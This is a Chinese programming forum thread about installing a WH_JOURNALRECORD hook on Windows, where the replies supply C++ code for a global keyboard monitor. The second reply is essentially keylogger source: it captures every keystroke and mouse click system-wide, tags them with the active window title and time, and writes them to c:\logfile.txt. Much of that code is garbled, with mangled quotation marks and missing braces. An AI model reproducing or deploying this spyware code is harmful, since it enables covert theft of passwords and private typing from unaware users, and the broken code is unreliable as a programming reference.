我在同一进程中实现了JournalRecordProc用于实现键盘监控,没有用DLL,根据msdn上说WH_JOURNALRECORD是系统钩子,但为何无法安装SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,NULL,0);  //安装日志钩子
SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROCJournalLogProc,GetModuleHandle(NULL),0);  //安装日志钩子
请问为何??????????

解决方案 »

  1.   

    MSG msg;
    BYTE keytbl[256];
    g_hLogHook=::SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
    if(g_hLogHook==NULL) 
    {
    return -1;
    }


          while(PeekMessage(&msg,NULL,0,0,PM_NOREMOVE)) 
    {
    //先查看消息队列,以免阻塞
            GetMessage(&msg,NULL,0,0);   //PeekMessage、GetMessage、DispatchMessage三个函数的联合使用应该是处理Windows下消息的常用技巧。            if(msg.message==WM_CANCELJOURNAL) 
    {
    //如果消息是取消日志钩子,则重设
                    SetKeyboardState(keytbl);
                    g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalRecordProc,::GetModuleHandle(NULL),0);
                    if(g_hLogHook==NULL) 
    {

                                            return -1;
    } }
    else
    {
    DispatchMessage(&msg);
    }
      

  2.   

    HHOOK g_hLogHook=NULL; //钩子变量 
    HWND g_hLastFocus=NULL; 
    //记录上一次得到焦点的窗口句柄 
    const int KeyPressMask=0x80000000; //键盘掩码常量 
    char g_PrvChar; //保存上一次按键值 3.在Button1的OnClick事件中输入: void __fastcall TForm1::Button1Click(TObject *Sender) 

    if (g_hLogHook==NULL) 
    g_hLogHook = SetWindowsHookEx 
    (WH_JOURNALRECORD, 
    (HOOKPROC)JournalLogProc, 
    HInstance,0); //安装日志钩子 
    } 4.在Button2的OnClick事件中输入: void __fastcall TForm1::Button2Click(TObject *Sender) 

    if (g_hLogHook!=NULL) 
    {UnhookWindowsHookEx(g_hLogHook); 
    g_hLogHook=NULL; 
    } //卸载日志钩子 
    } 5.输入钩子回调函数: 
    HOOKPROC JournalLogProc(int iCode, 
    WPARAM wParam, LPARAM lParam) 

    if (iCode<0) return (HOOKPROC)CallNextHookEx (g_hLogHook,iCode,wParam,lParam); if (iCode="=HC_ACTION)" {EVENTMSG *pEvt="(EVENTMSG" *)lParam; int i; HWND hFocus; //保存当前活动窗口句柄 char szTitle[256]; //当前窗口名称 char szTime[128]; //保存当前的日期和时间 FILE *stream="fopen(“c:\\logfile.txt”,"a+t");" if (pEvt->message==WM_KEYDOWN) 
    {int vKey=LOBYTE(pEvt- >paramL); // 取得虚拟键值 
    char ch; 
    char str[10]; 
    hFocus=GetActiveWindow(); 
    //取得当前活动窗口句柄 
    if(g_hLastFocus!=hFocus) 
    //当前活动窗口是否改变 
    {GetWindowText(hFocus,szTitle,256); 
    g_hLastFocus=hFocus; 
    strcpy(szTime,DateTimeToStr(Now()) 
    .c_str()); //得到当前的日期时间 
    fprintf(stream,"%c%s%c%c%s", 
    10,szTime,32,32,szTitle); //写入文件 
    fprintf(stream,"%c%c",32,32); 

    int iShift=GetKeyState(0x10); 
    //测试SHIFT,CAPTION,NUMLOCK等键是否按下 
    int iCapital=GetKeyState(0x14); 
    int iNumLock=GetKeyState(0x90); 
    bool bShift=(iShift & KeyPressMask)==KeyPressMask; 
    bool bCapital=(iCapital & 1)==1; 
    bool bNumLock=(iNumLock & 1)==1; 
    if (vKey >=48 && vKey<=57) // 数字0-9 if (!bShift) fprintf(stream,"%c",vKey); if (vKey>=65 && vKey<=90) // A-Z a-z {if (!bCapital) if (bShift) ch="vKey;" else ch="vKey+32;" else if (bShift) ch="vKey+32;" else ch="vKey;" fprintf(stream,"%c",ch); } if (vKey>=96 && vKey<=105) // 小键盘0-9 if (bNumLock) fprintf(stream,"%c",vKey-96+48); if (vKey>=186 && vKey<=222) // 其他键 {switch (vKey) {case 186:if (!bShift) ch=";" ; else ch=":" ;break; case 187:if (!bShift) ch="=" ; else ch="+" ;break; case 188:if (!bShift) ch="," ; else ch="<" ;break; case 189:if (!bShift) ch="-" ; else ch="_" ;break; case 190:if (!bShift) ch="." ; else ch=" >" ;break; case 191:if (!bShift) ch="/" ; else ch="?" ;break; case 192:if (!bShift) ch="`" ; else ch="~" ;break; case 219:if (!bShift) ch="[" ; else ch="{" ;break; case 220:if (!bShift) ch="\\" ; else ch="|" ;break; case 221:if (!bShift) ch="]" ; else ch="}" ;break; case 222:if (!bShift) ch="\" '; else ch="\"" ;break; default:ch="n" ;break; } if (ch!="n" ) fprintf(stream,"%c",ch); } // if (wParam>=112 && wParam<=123) // 功能键 [F1]-[F12] if (vKey>=8 && vKey<=46) //方向键 {switch (vKey) {case 8:strcpy(str,"[BK]");break; case 9:strcpy(str,"[TAB]");break; case 13:strcpy(str,"[EN]");break; case 32:strcpy(str,"[SP]");break; case 33:strcpy(str,"[PU]");break; case 34:strcpy(str,"[PD]");break; case 35:strcpy(str,"[END]");break; case 36:strcpy(str,"[HOME]");break; case 37:strcpy(str,"[LF]");break; case 38:strcpy(str,"[UF]");break; case 39:strcpy(str,"[RF]");break; case 40:strcpy(str,"[DF]");break; case 45:strcpy(str,"[INS]");break; case 46:strcpy(str,"[DEL]");break; default:ch="n" ;break; } if (ch!="n" ) {if (g_PrvChar!="vKey)" {fprintf(stream,"%s",str); g_PrvChar="vKey;" } } } } if (pEvt->message==WM_LBUTTONDOWN || pEvt- >message 
    ==WM_RBUTTONDOWN) 
    {hFocus=GetActiveWindow(); 
    if (g_hLastFocus!=hFocus) 
    {g_hLastFocus=hFocus; 
    GetWindowText(hFocus,szTitle,256); 
    strcpy(szTime,DateTimeToStr(Now()).c_str()); 
    //得到当前的日期时间 
    fprintf(stream,"%c%s%c%c%s", 
    10,szTime,32,32,szTitle); //写入文件 
    fprintf(stream,"%c%c",32,32); 


    fclose(stream); 
    return (HOOKPROC)CallNextHookEx 
    (g_hLogHook,iCode,wParam,lParam);